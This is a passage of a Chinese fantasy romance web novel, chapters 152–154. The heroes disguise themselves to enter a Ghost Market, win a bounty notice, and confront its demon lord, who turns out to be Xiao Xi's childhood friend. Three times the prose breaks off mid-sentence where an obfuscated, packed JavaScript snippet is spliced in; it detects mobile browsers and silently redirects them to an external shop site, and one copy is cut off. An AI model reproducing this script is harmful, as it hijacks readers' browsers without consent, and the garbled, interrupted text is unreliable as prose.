朗月又接上自己的判断:“既然妖力衰微一事是真的,那事情发展就完全与青灯在庆阳镇告诉我的一致了,这二者相辅相成,倒让我更加肯定了你的判断。” “竟然又和刹摩有关,”萧喜神情不太自在,她接道,“刹摩为了挑起人妖纷争,用六年前以庆阳镇为首的血蠕之难,和不久前的沧凌城血蠕之难为障目之叶,迷惑了包括你们仙机门在内的所有修真门派,掐住大家对刹摩非人非妖之族一无所知的漏洞,让你们认为血蠕是妖族的手段,从而让你们对妖族恨之入骨……” “但我实在没想到,刹摩会突然转换手段,开始在妖族这边动手了。如今推测,血蠕已经跟青灯所说的一致,有意蔓延席卷向妖族,而且人族妖族患病症状不同,血蠕对妖族造成伤害的表现,在目前就是令妖感到妖力衰微。” 朗月应道:“是,并且鬼市妖主已经在无意之中踏进了刹摩的圈套,刹摩想借刀杀人,把我解决掉,这就解释了为什么我们在根本不认识鬼市妖主、也从未来过盛京的情况下,鬼市妖主就已经提早准备好对付我的原因。毕竟,刹摩本就对我比较熟悉。” “刹摩这一手牌打得滴水不漏啊,但他好像还是低估我们了。”萧喜歪头道。 “并不,虽然我想用谈判来让鬼市妖主脱离刹摩的掌控,但刹摩已经先发制人,谈判虽然可以降低我们行事的风险,可一旦失败,后果会很严重。” “不入虎穴,焉得虎子?”萧喜凝眸。 她长叹了一口气,苦涩道:“可悲啊……我的确不能仅仅因为在沧凌城赢了刹摩一盘就这么狂妄,毕竟我想起来,无论是鬼市妖主,还是你,甚至是我,都曾被刹摩蒙在鼓里过。我们两个是花了多大的精力和思想斗争才从迷障中走出来,我们自己心知肚明,鬼市妖主的话……看来要想在今晚一举夺得胜券,属实不易。” “如你所言,不入虎穴,焉得虎子。今晚的谈判不仅事关金瑶蒂的下落,更跟刹摩脱不开关系,我要在灾难发生之前尽早做好准备,所以不得不去。” 萧喜舔了下微微干涩的唇瓣,还是先安抚一下他:“没错!但我们也要相信自己!不是还有半天的时间吗?我们可以再精进一下策略和谈判时的用语。” 朗月的嘴角含了一抹若有似无的笑,颔首应她。 谈话间,萧喜刚好闻到一股熟悉的妖气,于是竖起手指点了点二楼客房,跟朗月说道:“走吧,小黑应该在楼上等我们了。” 152. 满月悬令(3) 不同以往的是,这次小黑被萧喜故意喊过来的。 倒不是又有什么事情要交代给他,而是她和朗月对他另有所需,而且这个需求还不能摆在明面上跟他说清楚,毕竟这是个很不友好的要求。 屋子是自由敞开的,所以朗月和萧喜在还没进入已经在屋子里等待的小黑视野时,他们就提前在扶梯的拐角处看到了小黑满脸天真的模样。 他们一如既往地交换了个默契的眼神,决定按计划进行下一步的打算——剃毛。 朗月先行一步,用一样的套路快速转移到小黑的身后,他的速度极快,将两人身后关紧的窗子冲开,外面纷飞的雨点被鼓入屋子,他的动作化作仅有残影的流云,在小黑连惊魂未定的情绪都没能顺利表达出来的时候,他就用消忆咒点上了对方后脖颈处的穴位。他衣物勾出的余风扫过他腰间挂着的玉坠,荡出清凌凌的声响。 朗月眼疾手快,伸出手臂揽住快要脸面着地的小黑的腰,不让他被掼倒在地。 萧喜屏声敛气地看完这一幕,后而喟叹着道:“小公子功夫了得。” “但我没想到你会主动揽他,刚刚我还打算快步上前接住他呢。”萧喜走近他。 朗月用略微嫌恶的眼神扫了番手上晕过去的小黑,叹了一口气,揪着他的衣领丢到了床上,模样的确就像是在抓一只毫无反抗力的小猫。 “嗯。我们要想进入鬼市,就必须提前准备好能遮掩我们气息的道具。在不能打草惊蛇的情况下,我们难以在短时间内找到对我们没有防备心的妖,所以只能对小黑下手了。” 朗月顿了顿,想到了合适的理由,补道:“此妖虽然聒噪不堪,但也的确帮了我们好几日,我们如今此举也的确不义,若还要苛待他,就实在说不下去了。” 其实他只是不愿萧喜再与小黑有更多的接触。 萧喜颔首,没有产生任何怀疑,称道:“很有道理。” “话说……”萧喜小心翼翼地看向躺在床上晕得不省人事的小黑,言语饱含同情,“我们真的要剃他的毛吗?没有其他的办法?” “有,”朗月不假思索道,“可以扒皮,但那会要他的命,实在不可取。” “那……”萧喜扭曲着表情,倒吸了一口凉气,道,“还是剃毛吧。” 虽然朗月在剃毛这件事上,一直是铁面无私的,但很难说他有没有在其中参和些私人恩怨。不过,他却不是个对小事耿耿于怀还要斤斤计较的人,那些残忍的手段终究只是嘴上说说罢了,他还是选择对小黑手下留情,只是借助法术断了他的猫毛而已,没有给对方带来痛楚不说,还稍微留了一丝颜面给他。 一阵“剥削”下来,萧喜终于可以不再提心吊胆了,她看着床上那只化作原型的、光秃秃的小猫咪,心里百感交集。 朗月用一张毛茸茸的毯子裹住了小黑,往里面塞了一样东西。 “你给了他什么?”萧喜问道。 “你和我都不是喜欢欠人情的人,按照你的个性,恐怕不知道会因为这事自责多久,”朗月用嘲讽的语气侃道,但是他一直都很会把握与人交涉的分寸感,一点都不会让萧喜感到难受。 “这是灌输过我灵力的丹丸,对他这只废柴妖怪来说,提升修为算是绰绰有余了。” 萧喜松了松眉心,绽出一个笑容:“这个东西你早就准备好了吧?” “算是。” “你是一个嘴硬心软的家伙,至始至终都是。”萧喜看穿他的嘴硬,但没有直接点破对方。 说完这句话,萧喜默默在心中温声念叨:“我已经不止一次感叹,遇见你是我人生中的一大幸事。” “我也是。” 明明没有听穿旁人心音的能力,朗月却还是心有灵犀般在心中默默作答,他微阖眼睑,眉宇间挂着些许叹惋的神色。一切都是这般鬼使神差地发生着。 …… 中元夜—— 今日,是本该拥有满月的夜晚,却因为一整天接二连三的毛毛雨,惹得守着月亮的云迟迟不肯让开脚步,直至入了夜,天气才稍有缓和,很多人家掐准了点跑到了坟冢上烧纸钱,湿漉漉的雨气中,弥散着很浓烈的焦火味,冷瑟和火热的气氛在今夜排斥开了一切约定俗成的规训,放下水火不容的姿态,共舞在慢慢长夜。 或许是触景生情,萧喜的双眸总是舍不得将目光从诸多嘴中呢喃着深沉思念的百姓们身上移开。华灯初上,她和朗月共立在人群集聚的溪流旁,目视着虔诚祈祷的人们,放下一盏又一盏的水灯。 微弱却又数量颇多的火光,慢慢聚焦在萧喜的瞳孔里,她的双眼映着散漫光点的波流,看起来也是湿漉漉的,就像雨后荒野散发出的气息一样。 “抱歉,虽然今晚我们要去鬼市办正事,但……可不可以让我也放一盏水灯?毕竟,鬼魂的确是存在着的嘛。”萧喜语气平缓,但嘴角挂着的笑带着淡淡央求的意味。 “不会耽误多久的,我也想放。”朗月若无其事地应道,他只当作回应的是他所认为的正当请求,而不是央求。 萧喜笑容依旧,她转身环顾四方,想要找到可以买到水灯的地方,但碍于人群太过拥挤,她的视线久久不能落定。 她的表情慢慢失落下来,直到朗月把她唤回来,她才稍稍收起失望的神色。 朗月给他递过去一只刚折好的莲花造型的水灯:“一般诚心思念故人的百姓,放的水灯都是自己亲手折好的,可惜的是,我没有提前准备好蜡油,所以待会这些水灯放下去是没有光亮。” 萧喜难为情地接下他的水莲花,咬唇道:“抱歉啊,毕竟我从未进行过这些仪式。” “你……是不是觉得我这个人太矛盾了?”她呼吸微滞,语气带着迟疑,她很紧张。 朗月很懂她的心情,摇头否认道:“并不会。” 萧喜无奈地展了展眉头,微微一笑,道:“太愧疚了。从前的我因为太愧疚了,所以觉得自己连中元节思念哥哥的资格都没有。现在不会了。” 她微湿的眸光异常坚定地望着朗月。 朗月微微一笑。 “我明白。” 萧喜合掌于胸前,默默说下祝愿哥哥安心的话语后,将那盏没有光芒的水灯送入流水中。她收回眸光,瞥向朗月,刚好看到他晦暗不明的眼神。 她注视着他手里还未放下的水莲花,想到了什么,问道:“你很会折灯,看来你对这种事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朗月揽了揽萧喜的手臂,以免个头略娇小的她被妖流冲走,他尽力让萧喜看到自己令一只手指向的方向,问道:“萧喜,此处方位指向之地是哪里?” 萧喜至今都还记得上次误入鬼市的经历,于是很快就能给出答案:“鬼市最繁华的中心地带,据说只要揭下悬赏令,就能在那儿见到鬼市妖主。” 朗月暗叹一声:“看来悬赏令的选地很有讲究,鬼市妖主极有可能是在守株待兔。如果我们只为求快,贸然行动,很快就会被他发现踪迹,连挣扎的机会都没有。但如果我们混迹妖群,伪装成抢夺悬赏令的妖,我倒是有把握拖延时间。而且,鬼市妖主貌似也觉得我们会这样选择。不过我们真要这么做,无异于自投罗网,萧喜,你能应付得来吗?” “放心吧,之前我们不也商量好了吗?我已经能灵活运用自己的灵根了,绝对不会拖你后腿的。” 萧喜装模作样地转了转手腕,露出得意洋洋的笑容。 “不重要,你应该首先保证好自己的安全,这才是重中之重,”朗月语重心长地警告她。 “知道了知道了,我耳朵都快听出茧子了!”萧喜转手扶上了朗月的小臂,在确信拉稳后,跟他郑重说道,“我已经准备好了。” 然后两个人便腾空而起,引起周围一阵喧哗,如涟漪一般越荡越远,越来越轻。他们两个人把诸如此类的一切都抛诸脑后,朝着眼中只有的一个方向飞跃而去。 153. 满月悬令(4) 在鬼影憧憧的如重山叠嶂般的高楼之中,还有一双并未被任何妖察觉到的燃着幽深的紫色鬼火般的双眼,正暗暗潜伏着,尽管她的存在极为特殊,但最终的目标其实与其他同样蓄势待发的妖并没有什么不同——悬赏令。 一开始便被萧喜和朗月判断为和小黑一样,是不辞劳苦奔波寻找到鬼市的狐妖雾香,其实在没有进入盛京前,根本不知道悬赏令的存在。她实际上的动机与萧喜和朗月信以为真的猜测大相径庭。 她其实只是因为,自己既不愿放弃好不容易报仇的机会,又不愿意惹上仙机门的麻烦,才不得已顺着族长的指引摸索到鬼市的。 但现在的情况可不能简简单单用过去的事情概括了,因为雾香注意到了一件让她很感兴趣的事情——鬼市中元节的悬赏令。 五日前,她竭尽气力从云镇狂奔至盛京,本以为只要进了鬼市,就能甩开那个极有可能赶过来仙机门的弟子,之后便会后枕无忧了。 但她没有想到在自己刚进鬼市没多久,就被几个满嘴喊着打打杀杀的妖怪追上了,她当时还寻思着自己不是带了面具吗,没有违反规矩怎么会被追杀?不过还好,她运气比较好,那几个妖怪冒出来的时候,她已经休息了差不多快两刻钟,她堂堂紫狐族,就算资历不太深,但用存下来的余力对付那三两个小妖怪还是绰绰有余的。 然后她抓住一个被她钳制住的妖怪,才问出了最近鬼市闹得火热的悬赏令一事,好多妖怪蜂拥而至,但因为悬赏令揭榜妖数有限,鬼市里资历较深的妖怪们就动起了歪心思,想要抓住鬼市规矩的漏洞,围剿初来的妖怪,她刚刚明显就是被他们认作了为了悬赏令而来的新妖,这就被针对了。 一个期限遥远的悬赏令就搅和得鬼市七上八下了许久,其所带的诱惑力真不是一般得大。 传闻只要揭下悬令,就能亲眼看到鬼市妖主的真面目,然后只要完成其中内容,她就能向鬼市妖主求得自己想要的一切事物。 鬼市妖主是个很守规矩又颇具威信的大妖怪,所以她和其他觊觎悬赏令的妖怪们一样,天真的认为,自己只要按照要求办事,最后就一定会得到应有的回报。 毕竟雾香跟萧喜朗月他们不一样,从未了解过任何有关人妖纷争的历史,更别提刹摩了,脑子本就不太灵光的她,完全没有机会识破悬赏令中暗藏的诡计。 早在了解到悬赏令的存在后,雾香的注意力就已经全部投入在了鬼市妖主开出的丰厚的条件上,甚至拚命般地抓紧五日内所有时间,搜寻更多的线索,摸清偌大鬼市的建筑排布,只为到中元夜那一天有足够的把握抢到名额。 中元夜的雾香屏声敛气,幽深的阴影爬满她的面容,将她的存在与黑暗几乎融为一体,唯有她闪烁着攫取意味浓厚的奇异光芒的眸光,在黑暗中撕裂开的紫芒,证明了她并未完全销匿于黑沉沉的长夜。 一只散着绿幽荧火的幻蝶,好似突然在雾香诡异沉寂的双眸里翩跹而过,时间已至,她仿佛失去了理智,眼里唯有利益存在。她身姿矫健,细柔的紫纱绕在她轻盈婀娜的身体上,带动呼啸的风穿梭在她勾出残影的身侧,伴着疯狂的钟声,踩着狂野的烈风,高处的八角宫廷如此耀眼夺目,只要到达了那里就能获得胜利的曙光。 与此同时。 中元夜,一道一道身影飞速汹涌上身姿宏伟而华丽的八角宫廷,他们急速飞驰的动作宛如刀剑,刺破了寂静的空气,宛有琵琶裂帛之声,长鸣在鬼市的四面八方。 八角宫廷最顶层,一位长身玉立的年轻男人微微眯眼,嘴角扬出一个莫名的弧度,目光很快就锁定到了带着一对狐狸面具的年轻男女身上,他用势在必得的口吻自语道:“鱼儿快要上钩了。” “主人,您说什么?” 男人身侧排成长龙的、穿着统一的侍卫们恭敬问道。 男人笑意深奥,他的目光落定,只是简单道:“没什么,既然时间到了,就发放悬赏令吧。” “是。” 侍卫们的动作整齐划一,他们自行分成几队,从宫内搬出一只只箱子,启开锁,凑到高楼红光笼罩下的栏杆,往下投掷。刹那间,箱子内堆压的写满文字的纸张宛如入了水的鱼儿,自在地徜徉在空气寒凉的高空之上。 楼下顿时厮杀不断。 眼看着有越来越多落败的妖怪们坠落至宛如深渊般的地面,带着洁白狐面面具的男人才渐渐放下嘴角,眼神狠厉,他的目光紧盯在淹没在揭榜大军之中的萧喜和朗月身上,从未松开过。 他知道,在这个世上,能威胁妖族的存在便只有修真门派,这次盛京城妖族灵力受到干扰的现象已经越来越明显,虽然盛京城命令禁止修真门派无端进入,但他实在不敢相信他们真的没有来到此处。更可怕的是,他努力经营了十多年的鬼市似乎已经暴露,他怀疑妖族妖力衰微一事就是修真门派针对鬼市搞下的事端。 这么多年来,他从无害人之心,只想让妖族留在自己为他们创建的鬼市中安稳度日,却没有想到修真之人狼子野心,便是这样也不肯放过他们,甚至还阴招不断。 身为鬼市妖主的他对此绝不会放任不管,既然对方玩阴的,那么他也能。 他为了用最快的速度抓住心怀不轨且将鬼市行踪暴露的修真之人,筹备多时,才想出了这么一个“引狼入室”的招数,借悬赏令一事就能把目标主动引过来,不仅能在不动神色间就能解决掉他们,还能保障鬼市往后的安宁。 他知道这么做一定会牺牲很多无辜的妖,但他觉得事到如今只能以大局为重,所以哪怕牺牲再多的妖,他也在所不辞。因为,他从小就明白,没有任何厮杀和斗争是没有风险和代价的。他妖族不能在他的手中再度被修真门派踩在脚底下。 人族和修真门派们,你们若不仁,就休怪我不义…… 他这次真的是被逼急了,被冷峻气质包裹下的他,目光里却燃烧起越来越凶猛的怒火。 今晚,他在看到萧喜和朗月的那一刻,就完全相信了自己的猜测,并且认为对方上了自己的勾——参与悬赏令揭榜。说起来,他之所以认为准备悬赏令可以让鱼饵以最快的速度上钩,就是因为悬赏令颇具有迷惑色彩的外表可以降低他们的警惕心,对方会认为自己只要混迹其中,就能不被发现。 天真。 悬赏令也根本不是重点。 不过,怎么只有两个人……这是今晚让鬼市妖主唯一感到不满的地方。 难道还有什么阴谋诡计没使出来吗?按道理,能让妖族受挫的势力可绝对不止是两个人就能凑出来的。 看来,不能按原计划把这两个人直接杀死了,必须活捉下来,撬开他们的嘴巴。 不过如此又有何妨?抓到总比抓不到好。 “我倒要看看你们能撑多久,”鬼市妖主松肩抱胸而立,决定按兵不动,他淫邪一笑,如鬼魅般低语道。 朗月和萧喜这边一直优先选择保守战术,不做多余的抗争,从而才能保留下足够的体力,毕竟他们的战场并不是这里,而是在不久之后八角宫廷顶楼的谈判场上。 萧喜一直将手紧紧绷在朗月的小臂上,这几乎是对她来说最重要的事情。因为他们要想在庞大的揭榜大军中率先拔得头筹,就不可能单用蛮力,而要凭借高强度的移动速度。这一点萧喜可没有,所以她只好借朗月的风行术获得。 这一次经历着实太过刺激,让萧喜想起了几个月前自己身处在平台山雷雨交加的山崖的夜晚。但她必须打起十二分的精神,为朗月做好辅助作用,朗月的移动很快,周围妖影重叠,惨叫厮杀声连绵不绝,这对他这个对鬼市好不熟悉的人来说很不友好,所以萧喜就得充当他的第二只眼睛,并为他侦察和预判更加详尽的时况。 萧喜艰难地扎着眼,防止眼睫毛被狂风呼得不受控制,她精神可贵,坚持不断:“朗月,在我们左后方有妖想要偷袭我们!” 朗月闻言迅速调整了行动方向,那些萧喜口中的心怀不轨的妖怪就只能扑了空。 “萧喜,看到我们不远处上空的那张悬赏令了吗?这是我们最有把握拿到的一张,待会我可能会顾不上它,你记得留意。”朗月稍稍侧眸,瞥了身侧的萧喜一眼,颔首道。 萧喜没说话,但给予了他一个极具肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996659|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定意义的笑。 朗月朝目标地疾速飞去,他拽着萧喜的臂弯,拉稳后,一个漂亮的转身在半空中卷出强烈的螺旋圈,迷乱人眼。位置替换后,他一脚踢上前方朝他们扑来的俨如恶鬼的妖,为萧喜争取了伸手抓悬赏令的机会。 萧喜眼神锁定,不容犹豫地甩出手臂,竭力抓去,却没想到会在这种明显要夺得胜筹的时候被半路截胡。 “朗月!”她瞳孔顿缩,连忙呼喊。 眼看着原本属于自己的悬赏令要被其他妖怪夺走,她心如刀割,在呼喊之后,又甩手过去,手中呼出的灵气化作风波冲击到那张遥遥坠落的薄纸上,惹得悬赏令飘向了其他地方,那个妖怪因此也没能得逞。 这个半路杀出来的妖怪行动速度不亚于朗月,萧喜仔细捕捉,也仅仅看到一闪而过的长相娇俏的女子的面孔。她和朗月虽然都没有看清她的真面目,但却很快就认出了她身上的气味。 这个女妖怪的身上的味道,和云镇那个难忘的夜晚里的毒香完全一致,她绝对是那个该死的狐妖! 雾香现在完全没功夫去搭理他们,只是着急忙慌地朝悬赏令飘过去的方向腾去。 被萧喜喊住的朗月也瞬间带动着她转移了行动方向,他们两个人则奋力朝雾香奔去。 在跟朗月用眼神完成交流后,萧喜松开了抓住他的手,她踩着劲风,轻功伴身,绕开了雾香,直奔悬赏令。 而朗月则负责钳制雾香,在减去带动萧喜的负担后,他的风行术就更是卓越了,甚至比起雾香的速度还要更胜一筹。于是,他甩着残影,瞬间闪到了雾香的身侧。 他眼风扫去,很快就抓住了对方的弱点,他单手汇聚掌风,朝雾香攻过去。 被打得措手不及的雾香不得已慢下行迹,因此她终于看清了朗月的面孔,认出了他是自己一直躲避的仙机门弟子,惊恐之下,她的发挥自然不如方才稳定。 他不是那个修真门派弟子吗?!怎么还能跑到鬼市来?!甚至还能跟她抢揭榜名额?! 而且,萧喜那个女人怎么还能活着?!她不是被自己丢进鬼市了吗?! 他们肯定是用了什么手段隐瞒了自己的气息! 雾香紫色的双眸不断闪烁,在环视四周之后,她咬了咬牙,在自知毫无胜算的情况下,她就不得不破罐子破摔了,如果在现在暴露此人仙机门弟子的身份,鬼市肯定会陷入恐慌,到时候此人定然毫无反抗的余力,自己说不能就能趁乱逃脱了! “救命!他是……”她声音洪亮刺耳。 双方对峙之间,在雾香要将这句话脱口而出的时候,却顿时被萧喜的声音打断。 “朗月,可以了!” 萧喜正处于高速下降的趋势,长发凌乱地披散在空中,手中朝他不断挥舞着自己的战利品,脸上得意地很。 朗月抓住雾香失神的空隙,并提前预判了她的动作,捏诀朝她施展了咒术,封住了她的嘴巴。雾香心慌后,失去了在高空悬停的平衡点,开始高速下落,就像今晚失去揭榜机会的那些落败者们一样。她和朗月的距离,因而越拉越远。 他本想直接杀了她,但碍于距离就不了了之了,他也不能追击她,因为他现在有更重要的事情要做。 朗月飞速下落,极力追上萧喜,重新抓稳了她的臂弯后,带着因为失重感而呼吸紊乱的萧喜找到新的平衡点,他和她因此可以继续踩风上空。 因为他们已经成为了揭榜人,所以一路上遍布高楼的侍卫们都对他们放了行。他们默契地蹬着棱角分明的屋脊和墙栏,终于爬上了八角宫廷的最顶层。 他们终于站到了平地上,急促地呼吸着,体验着劫后余生的快感。他们离身后的栏杆不过半尺距离,身前就被排列森严的侍卫们堵住了,压迫感十足。 而这些他们早就有所预料了。 越过肉墙般的侍卫群,朗月和萧喜看到了一个身着白狐裘包边白袍的、冷峻却同时具备雍容华贵之气的男子正背对着他们。 男子缓缓转身,侧身时,露出半张面具下,向上扬起的诡异笑容的幅度。 “鱼儿上钩了。” 154. 满月悬令(5) 男子的身影让萧喜莫名呼吸一窒,但她绝对明白自己之所以会这样,并非是被对方太过强大的气场压迫出来的,而是一股横亘近十年的熟悉感才让她改变的。 她觉得自己一定是在做梦,要么就是不久前疯狂的失重感让她患上了失心疯,才会在面前这个闭着眼睛都晓得是鬼市妖主的男人身上,寻觅所谓的熟悉感。 “你……还好吗?”朗月察觉到了萧喜情绪上的微妙变化,不解却足够温和地问候道。 萧喜还没回话的时候,鬼市妖主就已经转过身来,且已经完全看清了她的面孔。 “你……”男子似乎也觉得事情的发展愈发走向魔幻。 世上怎么会有这么巧的事? 但偏偏就是有。因为他从萧喜的双目中看到了和自己一样的情绪,不解,难以置信,以及带着岁月难以磨灭的熟悉感。 他笑容顿失,眼睛斜到身侧的侍卫的身上,抬首示意让堵住萧喜和朗月的侍卫们退下。 待场地清空后,男子才放下戒心,并做出了让朗月难以置信的动作——他主动摘下了覆住自己面容的面具,他这么做完全不符合他城府极深的个性,但又很难说他这么做是毫无根据的,他似乎是带着很明显的目的性——为了让萧喜看清他的模样。 “小……小……小小小白?”萧喜差点没站稳脚步,说话也深得了芍七的真传,结结巴巴得厉害。 “阿喜?!”白刻舟的眉目也越发深邃,里面闪动着前所未有般的欣喜的光彩。 朗月微微蹙眉。 这和他所预料的一切情况都不同,而这位鬼市妖主也与之前他判断过的模样截然不同。 所有的一切都开始重新变化轨迹,而已经身处时局的他,并没有足够准备应对新变化的时间。 于是,朗月觉得,现在的自己好像已经跟白痴没什么区别了。 而且“阿喜”两个字落在他耳朵里多少显得刺耳,或许是遇见小黑的后遗症导致的。他没有想到在送走了小黑后,又忽然冒出了个叫小白的鬼市妖主。 一黑一白,倒是相得益彰了,呵呵。 “……你们认识?”朗月语气迟疑。 萧喜又惊又喜的神色还没有放下,她看了朗月一眼,很快答道:“是啊!” “你……从前从未和我提过你认识鬼市妖主……” 朗月还想继续说下去,但被鬼市妖主打断:“好久不见,阿喜。不过我已经不叫小白了,我的名字叫做白刻舟。” 白刻舟意味深长地扫了一眼萧喜身侧的朗月,笑而不语,但朗月也明白他嘴角噙着的笑容是不怀好意的。 “二位认识?” 白刻舟用语简洁,但用意不浅。因为朗月的身份很特殊,他是自己一直想方设法针对的修真门派之人,就在刚刚,他还以为他身边的萧喜跟他是一伙的。而现在,在已经确认萧喜的身份后,他的思路就都被搞混了,因为萧喜一个不是修真门派的普通凡人,怎么会跟仙机门的弟子扯上关系? 据他对仙机门的了解,他们可是很忌讳这种事情发生的。 朗月与白刻舟四目相对,明里暗里都在较劲。朗月虽然不清楚他和萧喜是怎么认识上的,但他明白,白刻舟从未因为自己跟萧喜的关系,而放下对他,乃至对萧喜的戒心。现在的情况,不过只是让紧迫的气氛略有缓和罢了。 他早就知道,鬼市妖主不会是好糊弄的家伙。 萧喜赶忙跟白刻舟解释道:“我知道你现在心里忌惮的事情,也知道你在怀疑什么。我们能主动入你的圈套,代表的立场从来不是仙机门等修真门派,我们想做的,只是单纯要阻止不久后的灾难,白刻舟,我不想看着你一步步堕入人妖纷争的迷障之中,就像曾经的我,还有曾经的他一样。” 说罢,她指了指朗月。 “圈套?”白刻舟本来平和的面孔扭曲了两分,他无心顾及其他的话,因为这两个字实在太过刺耳,让他听不进除此以外任何的东西。 他极力让自己宛如裂开一条缝的神色恢复过来,他抬臂指了指八角宫廷之外煞气腾生的厮杀场面,僵住嘴角,口吻带着不可置信的意味,对萧喜和朗月说道:“怎么,你们好像早就看出来悬赏令的内意了?” 他的眉头越蹙越紧,不可理喻地问道:“不可能,你们是在套我话?我可没有那么好骗。” 萧喜下意识别过头,同朗月交流了一番眼神。 其实刚刚萧喜说的话是朗月和他提早计划好的话术,不过原计划里,朗月是发话人,但鉴于目前萧喜和白刻舟之间的关系更好,他们一致认为,由萧喜作为发话人是更合适的选择。 萧喜收回目光,了然用意。 她继续对白刻舟道:“因为我们知道其他鬼市妖主你不知道的事情,你在考虑不到的范围内所制定的计划,怎么不可能被我们看破呢?” “什么意思?”白刻舟的表情愈发不妙。 “你还记得庆阳镇吗?那个我们相识的地方。”萧喜神色动容。 白刻舟拧眉,对萧喜想要跟他打感情牌的事情深以为然,他瞥过目光,漫不经心地答了一句:“自然是记得。” 那个让他每日过得担惊受怕的地方,那个给他带来诸多碾压自尊的耻辱的地方,他怎么会记不得? “六年前,血蠕波及庆阳镇等大周各地,引起无数恐慌,更是致使无数无辜的人族丧命,朝廷与仙机门合作,摆平了这场灾难,仙机门因此站稳了修真门派主心的地位,因为世间修真门派一致认为凡间非妖即人的存在定理,所以血蠕自出现以来都被认为是妖族报复的手段。” “萧喜,你是在跟我开玩笑么?” 他顿时拉下脸来,因为这些话讲述的是他最为厌烦的事情,因为这些颠倒是非的所谓的“事实”都是可恶又贪婪的人族挑起人妖纷争,又隐瞒争夺天下的野心的借口罢了! 人族至始至终都不会为自己所做过的错事而感到蒙羞,他们的手段更是和两百年前的如出一辙,而他的阿爹和阿娘皆丧命在那个令人作呕的时代。也是……既然诞生出了错误的历史,怎么会少得了被蒙蔽的后人……一错再错是必然的历史发展趋势。 而同样身为人族的萧喜,却当着他的面,讲出这些噩梦般的故事……被刺及痛处的他,怎么可能再给萧喜这个不过只是十多年前的故人情面? 白刻舟抬首,织着红血丝的双目将目光冷冷钉在萧喜身上,简直像忽然变了个妖一样,他的话语更是毫不示弱:“你倘若继续胡说,便别怪我不给情面了。” 他高高抬臂,眼神蔑视着。 一只只排列整齐的鬼面侍卫们突然从宫廷中踏出来,列在他的身后,气势磅礴,魄力十足,更彰显了鬼市妖主不容质疑的排面。 眼看着妖群越聚越多,萧喜既不感到恐惧,也毫不示弱,甚至不顾朗月的阻拦,不顾一切,自行上前,对白刻舟说道:“但其实不是!不久前我们在沧淩城经历了一次差点就要演化成六年前的灾难,从苏府祠堂的封印察觉到了其内封印和外封印关系之间的矛盾之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009400|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并用了一些手段找到了沧淩城血疾的爆发源头,是一只被幕后之人控制神智的妖。 我们料定,沧淩城的灾事是为了进一步加深修真门派对妖族的刻板印象,从而让妖族把六年前令庆阳镇等地落难的罪行坐实。所有人都忽视了除此以外的一切事情,修真门派痛恨妖族利用无辜人族所不能抵抗的血蠕索要人命,妖族痛恨修真门派仅靠一面之前就歪曲史实,一而再再而三地给他们安上莫须有的罪名,从而互相加剧人妖纷争,就像两百年前一样。 我们没有忽视沧淩城封印中被蛊惑的妖身上发生过的事情,并且借助封印存在的时间推断出更多幕后之人的线索,乃至发现这只可怜的妖怪刚好是在两百年被蛊惑的,如此可疑,不管是两百年前还是现在,幕后之人挑起人妖纷争的目的从未改变过,并且为了达到这个目的,幕后之人所用的手段依然还是血蠕。两百年前,曾经还是豫县的沧淩城曾爆发过血蠕。 白刻舟,血蠕的用意如此可疑而不善,对人族和妖族皆图谋不轨,你应该怀疑它的存在,以及幕后之人的歹毒用心。 血蠕延续至今,恰巧说明了幕后之人一直存活到了现在啊,他把魔爪伸入到了人族,怎么可能不会把魔爪再伸入妖族呢?毕竟,幕后之人刹摩,具体的存在定义本就不隶属于人妖两族任何一方,他抓住了世间约定俗成的所谓非妖即人的定义的漏洞,用血蠕这样特殊的存在挑拨离间,这是他的目的。简直……就像为了创建鬼市,而故意抓住六年前朝廷和仙机门签订的协议的漏洞的鬼市妖主你一样。” 萧喜能言善辩得厉害,这些话她滔滔不绝地说下,没有任何动摇之态,她异常坚定的模样给予了她话语足够多的力量,连那些宛如鬼差一般的拥堵上前的鬼面侍卫们,听了都开始步伐慌乱了。 “你的意思是血蠕跟这次妖族妖力衰微一事有关?”白刻舟自然能完全消化得掉萧喜所有的话意,他冷笑一声,讽刺道,“论天下修真门派何人不知,血蠕是我们妖族大展身手的手笔?你别忘了,你身边带着个仙机门的弟子,你们这么说,是觉得很有说服力么?” 白刻舟狭长的眼尾缀着一抹艳丽的红,随着他眼神的变化,这抹妖媚般的红色顿时化作了淬了毒的鹤顶红,似乎谁只要跟他对上了一眼,就能丢了命。 真不是一般的压迫力,这样的白刻舟让刚认旧完的萧喜倍感陌生,甚至还让她感到……恐惧和颤栗。 最终白刻舟的眼神死死落定到了朗月身上。 其实萧喜的说辞的确让他动摇了,因为他明白如果萧喜和朗月真的什么都不知道,又怎么会这么快就识破了他的计谋呢,而他们又怎么会以这般“明知山有虎又偏向虎山行”的心态“自愿上钩”,并从一开始就打算用这种始料未及的“谈判”战术对付他呢? 这两个人明显是有把握的,而白刻舟也不得不承认他们确实很有本事,他不得不信服于此。 